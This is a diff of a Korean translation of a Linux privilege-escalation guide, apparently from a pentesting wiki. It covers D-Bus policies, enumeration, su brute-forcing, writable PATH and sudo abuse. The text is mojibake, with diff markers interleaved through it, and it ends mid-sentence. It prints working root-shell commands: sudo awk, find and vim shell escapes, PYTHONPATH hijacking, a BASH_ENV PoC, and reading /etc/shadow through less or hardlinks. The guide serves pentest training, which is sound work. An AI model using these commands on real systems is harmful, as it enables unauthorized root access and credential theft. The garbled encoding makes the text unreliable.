ํ˜ธ๊ฐ€ ์Œ์•… ํ”Œ๋ ˆ์ด์–ด๋ฅผ ์Œ์†Œ๊ฑฐํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”๋ถˆ์–ด D-Bus๋Š” ์›๊ฒฉ ๊ฐ์ฒด ์‹œ์Šคํ…œ์„ ์ง€์›ํ•˜์—ฌ ์„œ๋น„์Šค ์š”์ฒญ๊ณผ ๋ฉ”์„œ๋“œ ํ˜ธ์ถœ์„ ๋‹จ์ˆœํ™”ํ•˜๊ณ , ์ „ํ†ต์ ์œผ๋กœ ๋ณต์žกํ–ˆ๋˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฐ„์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค. -D-Bus๋Š” ๋ฉ”์‹œ์ง€ ๊ถŒํ•œ(๋ฉ”์„œ๋“œ ํ˜ธ์ถœ, ์‹ ํ˜ธ ์ „์†ก ๋“ฑ)์„ ์ผ์น˜ํ•˜๋Š” ์ •์ฑ… ๊ทœ์น™๋“ค์˜ ๋ˆ„์  ํšจ๊ณผ์— ๋”ฐ๋ผ ๊ด€๋ฆฌํ•˜๋Š” allow/deny ๋ชจ๋ธ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ •์ฑ…๋“ค์€ ๋ฒ„์Šค์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ๋ช…์‹œํ•˜๋ฉฐ, ๊ถŒํ•œ์„ ์•…์šฉํ•ด privilege escalation์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +D-Bus๋Š” **allow/deny model**๋กœ ๋™์ž‘ํ•˜๋ฉฐ, ์ •์ฑ… ๊ทœ์น™์˜ ๋ˆ„์  ํšจ๊ณผ์— ๋”ฐ๋ผ ๋ฉ”์‹œ์ง€ ๊ถŒํ•œ(๋ฉ”์„œ๋“œ ํ˜ธ์ถœ, ์‹ ํ˜ธ ์ „์†ก ๋“ฑ)์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ •์ฑ…์€ ๋ฒ„์Šค์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์ง€์ •ํ•˜๋ฉฐ, ๊ถŒํ•œ์„ ์•…์šฉํ•ด privilege escalation์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์˜ˆ๋กœ `/etc/dbus-1/system.d/wpa_supplicant.conf`์— ์žˆ๋Š” ์ •์ฑ…์„ ๋ณด๋ฉด root ์‚ฌ์šฉ์ž๊ฐ€ `fi.w1.wpa_supplicant1`์„ ์†Œ์œ ํ•˜๊ณ  ํ•ด๋‹น ์„œ๋น„์Šค๋กœ ์ „์†ก ๋ฐ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๊ถŒํ•œ์ด ๋ช…์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +์˜ˆ๋กœ `/etc/dbus-1/system.d/wpa_supplicant.conf`์— ์žˆ๋Š” ํ•ด๋‹น ์ •์ฑ…์€ root ์‚ฌ์šฉ์ž๊ฐ€ `fi.w1.wpa_supplicant1`์„ ์†Œ์œ ํ•˜๊ณ , ์ด๋กœ ์†ก์‹  ๋ฐ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์ƒ์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์ด ์ง€์ •๋˜์ง€ ์•Š์€ ์ •์ฑ…์€ ๋ณดํŽธ์ ์œผ๋กœ ์ ์šฉ๋˜๋ฉฐ, "default" ์ปจํ…์ŠคํŠธ ์ •์ฑ…์€ ๋‹ค๋ฅธ ํŠน์ • ์ •์ฑ…์œผ๋กœ ๋‹ค๋ฃจ์–ด์ง€์ง€ ์•Š๋Š” ๋ชจ๋“  ํ•ญ๋ชฉ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. +์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์ด ์ง€์ •๋˜์ง€ ์•Š์€ ์ •์ฑ…์€ ์ „์—ญ์ ์œผ๋กœ ์ ์šฉ๋˜๋ฉฐ, "default" ์ปจํ…์ŠคํŠธ ์ •์ฑ…์€ ๋‹ค๋ฅธ ํŠน์ • ์ •์ฑ…์— ํฌํ•จ๋˜์ง€ ์•Š๋Š” ๋ชจ๋“  ํ•ญ๋ชฉ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ```xml @@ -636,18 +640,18 @@ D-Bus๋Š” ๋ฉ”์‹œ์ง€ ๊ถŒํ•œ(๋ฉ”์„œ๋“œ ํ˜ธ์ถœ, ์‹ ํ˜ธ ์ „์†ก ๋“ฑ)์„ ์ผ์น˜ํ•˜๋Š” ``` -**์—ฌ๊ธฐ์—์„œ D-Bus communication์„ enumerate ๋ฐ exploitํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”:** +**์—ฌ๊ธฐ์—์„œ D-Bus communication์„ enumerateํ•˜๊ณ  exploitํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **๋„คํŠธ์›Œํฌ** +## **Network** -๋„คํŠธ์›Œํฌ๋ฅผ enumerateํ•˜๊ณ  ๋จธ์‹ ์˜ ์œ„์น˜๋ฅผ ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ์€ ํ•ญ์ƒ ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค. +ํ•ญ์ƒ network๋ฅผ enumerateํ•˜๊ณ  ๋จธ์‹ ์˜ ์œ„์น˜๋ฅผ ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ์€ ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค. -### ์ผ๋ฐ˜์ ์ธ enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -672,7 +676,7 @@ lsof -i ``` ### ์—ด๋ฆฐ ํฌํŠธ -์ ‘๊ทผํ•˜๊ธฐ ์ „์— ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๋จธ์‹ ์—์„œ ์‹คํ–‰ ์ค‘์ธ network services๋ฅผ ํ•ญ์ƒ ํ™•์ธํ•˜์„ธ์š”: +ํ•ญ์ƒ ์ ‘๊ทผํ•˜๊ธฐ ์ „์— ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๋จธ์‹ ์—์„œ ์‹คํ–‰ ์ค‘์ธ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๋ฅผ ํ™•์ธํ•˜์„ธ์š”: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -685,9 +689,9 @@ timeout 1 tcpdump ``` ## ์‚ฌ์šฉ์ž -### ์ผ๋ฐ˜์ ์ธ Enumeration +### ์ผ๋ฐ˜ ์—ด๊ฑฐ -๋‹ค์Œ ์‚ฌํ•ญ์„ ํ™•์ธํ•˜์„ธ์š”: ์ž์‹ ์ด **who**์ธ์ง€, ์–ด๋–ค **privileges**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€, ์‹œ์Šคํ…œ์— ์–ด๋–ค **users**๊ฐ€ ์žˆ๋Š”์ง€, ๋ˆ„๊ฐ€ **login**ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๋ˆ„๊ฐ€ **root privileges**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€: +์ž์‹ ์ด **๋ˆ„๊ตฌ**์ธ์ง€, ์–ด๋–ค **๊ถŒํ•œ**์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€, ์‹œ์Šคํ…œ์— ์–ด๋–ค **์‚ฌ์šฉ์ž**๊ฐ€ ์žˆ๋Š”์ง€, ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ **๋กœ๊ทธ์ธ**ํ•  ์ˆ˜ ์žˆ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ **root ๊ถŒํ•œ**์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -709,10 +713,10 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### ํฐ UID +### Big UID -์ผ๋ถ€ Linux ๋ฒ„์ „์€ **UID > INT_MAX** ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ๋ฐ [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +์ผ๋ถ€ Linux ๋ฒ„์ „์€ **UID > INT_MAX**์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด** ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: **`systemd-run -t /bin/bash`** ### ๊ทธ๋ฃน @@ -725,7 +729,7 @@ interesting-groups-linux-pe/ ### ํด๋ฆฝ๋ณด๋“œ -๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ํด๋ฆฝ๋ณด๋“œ ์•ˆ์— ํฅ๋ฏธ๋กœ์šด ๋‚ด์šฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” +๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ํด๋ฆฝ๋ณด๋“œ์— ํฅ๋ฏธ๋กœ์šด ํ•ญ๋ชฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -740,29 +744,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### ์•Œ๋ ค์ง„ ๋น„๋ฐ€๋ฒˆํ˜ธ +### Known passwords -ํ™˜๊ฒฝ์˜ **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด**, ๊ทธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•ด **๊ฐ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•ด ๋ณด์„ธ์š”**. +ํ™˜๊ฒฝ์˜ **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด**, ๊ทธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ **๊ฐ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•ด๋ณด์„ธ์š”**. ### Su Brute -๋งŽ์€ ์†Œ์Œ์„ ๋‚ด๋Š” ๊ฒƒ์„ ๊ฐœ์˜์น˜ ์•Š๊ณ  ์‹œ์Šคํ…œ์— `su`์™€ `timeout` ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ brute-forceํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) ๋Š” `-a` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด brute-force๋„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. +๋งŽ์€ ๋…ธ์ด์ฆˆ๋ฅผ ์‹ ๊ฒฝ์“ฐ์ง€ ์•Š๊ณ  ์‹œ์Šคํ…œ์— `su`์™€ `timeout` ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ brute-forceํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)๋Š” `-a` ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ๋„ ์‚ฌ์šฉ์ž๋“ค์„ brute-forceํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. -## ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ PATH ์•…์šฉ +## ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ PATH ๋‚จ์šฉ ### $PATH -๋งŒ์•ฝ **$PATH์˜ ์–ด๋–ค ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด**, ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž(์ด์ƒ์ ์œผ๋กœ๋Š” root)๊ฐ€ ์‹คํ–‰ํ•  ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋” ์•ˆ์— ๋ฐฑ๋„์–ด๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ**์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋•Œ ํ•ด๋‹น ๋ช…๋ น์ด **$PATH์—์„œ ๋‹น์‹ ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋ณด๋‹ค ์•ž์— ์œ„์น˜ํ•œ ํด๋”์—์„œ ๋กœ๋“œ๋˜์ง€ ์•Š์•„์•ผ** ํ•ฉ๋‹ˆ๋‹ค. +**$PATH์˜ ์ผ๋ถ€ ํด๋”์— ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ**, ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€(์ด์ƒ์ ์œผ๋กœ๋Š” root) ์‹คํ–‰ํ•  ๋ช…๋ น ์ด๋ฆ„์œผ๋กœ **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋” ์•ˆ์— backdoor๋ฅผ ์ƒ์„ฑ**ํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹จ, ํ•ด๋‹น ๋ช…๋ น์ด **$PATH์—์„œ ๋‹น์‹ ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํด๋”๋ณด๋‹ค ์•ž์— ์œ„์น˜ํ•œ ํด๋”์—์„œ ๋กœ๋“œ๋˜์ง€ ์•Š์•„์•ผ** ํ•ฉ๋‹ˆ๋‹ค. ### SUDO and SUID -sudo๋ฅผ ์‚ฌ์šฉํ•ด ์ผ๋ถ€ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜, ๋ช…๋ น๋“ค์— suid bit๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์œผ๋กœ ํ™•์ธํ•˜์„ธ์š”: +sudo๋ฅผ ์‚ฌ์šฉํ•ด ์–ด๋–ค ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜, ํ•ด๋‹น ํŒŒ์ผ์— suid ๋น„ํŠธ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -์ผ๋ถ€ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ช…๋ น์€ ํŒŒ์ผ์„ ์ฝ๊ณ /๋˜๋Š” ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** ์˜ˆ๋ฅผ ๋“ค์–ด: +๋ช‡๋ช‡ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ช…๋ น์€ ํŒŒ์ผ์„ ์ฝ๊ณ /๋˜๋Š” ์“ฐ๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.** ์˜ˆ๋ฅผ ๋“ค์–ด: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -773,37 +777,37 @@ less>! ``` ### NOPASSWD -Sudo ์„ค์ •์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. +Sudo ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ผ๋ถ€ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -์ด ์˜ˆ์—์„œ๋Š” ์‚ฌ์šฉ์ž `demo`๊ฐ€ `root`๋กœ `vim`์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, root ๋””๋ ‰ํ„ฐ๋ฆฌ์— ssh key๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ `sh`๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ shell์„ ์–ป๋Š” ๊ฒƒ์€ ์ด์ œ ๋งค์šฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. +์ด ์˜ˆ์—์„œ๋Š” ์‚ฌ์šฉ์ž `demo`๊ฐ€ `root` ๊ถŒํ•œ์œผ๋กœ `vim`์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, root ๋””๋ ‰ํ„ฐ๋ฆฌ์— ssh key๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ `sh`๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์‰ฝ๊ฒŒ shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` sudo vim -c '!sh' ``` ### SETENV -์ด ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์‹คํ–‰ ์ค‘์— **ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •**ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค: +์ด ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋™์•ˆ **ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •**ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -์ด ์˜ˆ์ œ๋Š”, **HTB machine Admirer๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ**, ์Šคํฌ๋ฆฝํŠธ๋ฅผ root๋กœ ์‹คํ–‰ํ•  ๋•Œ ์ž„์˜์˜ python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด **PYTHONPATH hijacking**์— **์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค**: +์ด ์˜ˆ์ œ๋Š” **HTB machine Admirer๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ** ๊ฒƒ์œผ๋กœ, ์Šคํฌ๋ฆฝํŠธ๋ฅผ root๋กœ ์‹คํ–‰ํ•  ๋•Œ ์ž„์˜์˜ python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด **PYTHONPATH hijacking**์— **์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV๊ฐ€ sudo env_keep๋กœ ๋ณด์กด๋  ๋•Œ โ†’ root shell +### BASH_ENV๊ฐ€ sudo env_keep๋ฅผ ํ†ตํ•ด ์œ ์ง€๋จ โ†’ root shell -๋งŒ์•ฝ sudoers๊ฐ€ `BASH_ENV`๋ฅผ ๋ณด์กดํ•œ๋‹ค๋ฉด(์˜ˆ: `Defaults env_keep+="ENV BASH_ENV"`), ํ—ˆ์šฉ๋œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๋•Œ Bash์˜ ๋น„๋Œ€ํ™”ํ˜• ์‹œ์ž‘ ๋™์ž‘์„ ์ด์šฉํ•ด ๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bashโ€™s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: ๋น„๋Œ€ํ™”ํ˜• ์…ธ์—์„œ๋Š” Bash๊ฐ€ `$BASH_ENV`๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ  ๋Œ€์ƒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ํ•ด๋‹น ํŒŒ์ผ์„ source ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ sudo ๊ทœ์น™์ด ์Šคํฌ๋ฆฝํŠธ๋‚˜ ์…ธ ๋ž˜ํผ ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. `BASH_ENV`๊ฐ€ sudo์— ์˜ํ•ด ๋ณด์กด๋˜๋ฉด, ๋‹น์‹ ์˜ ํŒŒ์ผ์ด root ๊ถŒํ•œ์œผ๋กœ source ๋ฉ๋‹ˆ๋‹ค. +- Why it works: ๋น„๋Œ€ํ™”ํ˜• ์…ธ์—์„œ๋Š” Bash๊ฐ€ `$BASH_ENV`๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ  ๋Œ€์ƒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ํ•ด๋‹น ํŒŒ์ผ์„ source ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ sudo ๊ทœ์น™์ด ์Šคํฌ๋ฆฝํŠธ๋‚˜ ์‰˜ ๋ž˜ํผ์˜ ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. sudo๊ฐ€ `BASH_ENV`๋ฅผ ๋ณด์กดํ•˜๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์ด root ๊ถŒํ•œ์œผ๋กœ source ๋ฉ๋‹ˆ๋‹ค. - Requirements: -- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). -- `BASH_ENV` present in `env_keep` (check with `sudo -l`). +- ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ sudo ๊ทœ์น™ (๋น„๋Œ€ํ™”ํ˜•์œผ๋กœ `/bin/bash`๋ฅผ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜, ์–ด๋–ค bash ์Šคํฌ๋ฆฝํŠธ๋“  ์‹คํ–‰ํ•˜๋Š” ๋Œ€์ƒ์ด๋ฉด ๋จ). +- `BASH_ENV`๊ฐ€ `env_keep`์— ํฌํ•จ๋˜์–ด ์žˆ์Œ (`sudo -l`๋กœ ํ™•์ธ). - PoC: ```bash @@ -816,13 +820,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - ํ•˜๋“œ๋‹: -- `env_keep`์—์„œ `BASH_ENV`(๋ฐ `ENV`)๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , `env_reset`์„ ์„ ํ˜ธํ•˜์„ธ์š”. -- sudo-allowed commands์— ๋Œ€ํ•ด shell wrappers๋ฅผ ํ”ผํ•˜๊ณ  ์ตœ์†Œํ•œ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. -- ๋ณด์กด๋œ env vars๊ฐ€ ์‚ฌ์šฉ๋  ๋•Œ sudo I/O ๋กœ๊น… ๋ฐ ์•Œ๋ฆผ์„ ๊ณ ๋ คํ•˜์„ธ์š”. +- `env_keep`์—์„œ `BASH_ENV` (๋ฐ `ENV`)๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , `env_reset`์„ ์„ ํ˜ธํ•˜์„ธ์š”. +- sudo๋กœ ํ—ˆ์šฉ๋œ ๋ช…๋ น์— ๋Œ€ํ•ด shell wrappers๋ฅผ ํ”ผํ•˜๊ณ , ์ตœ์†Œํ•œ์˜ binaries๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. +- ๋ณด์กด๋œ env vars๊ฐ€ ์‚ฌ์šฉ๋  ๋•Œ sudo I/O ๋กœ๊น… ๋ฐ ๊ฒฝ๊ณ ๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”. -### Sudo ์‹คํ–‰ ์šฐํšŒ ๊ฒฝ๋กœ +### Sudo execution bypassing paths -**Jump**๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ **symlinks**๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ: sudoers ํŒŒ์ผ์—์„œ: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**๊ฑด๋„ˆ๋›ฐ๊ธฐ** ๋‹ค๋ฅธ ํŒŒ์ผ์„ ์ฝ๊ฑฐ๋‚˜ **symlinks**๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ: sudoers ํŒŒ์ผ์—์„œ: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -832,7 +836,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -๋งŒ์•ฝ **wildcard**๊ฐ€ ์‚ฌ์šฉ๋œ๋‹ค (\*), ํ›จ์”ฌ ๋” ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค: +๋งŒ์•ฝ 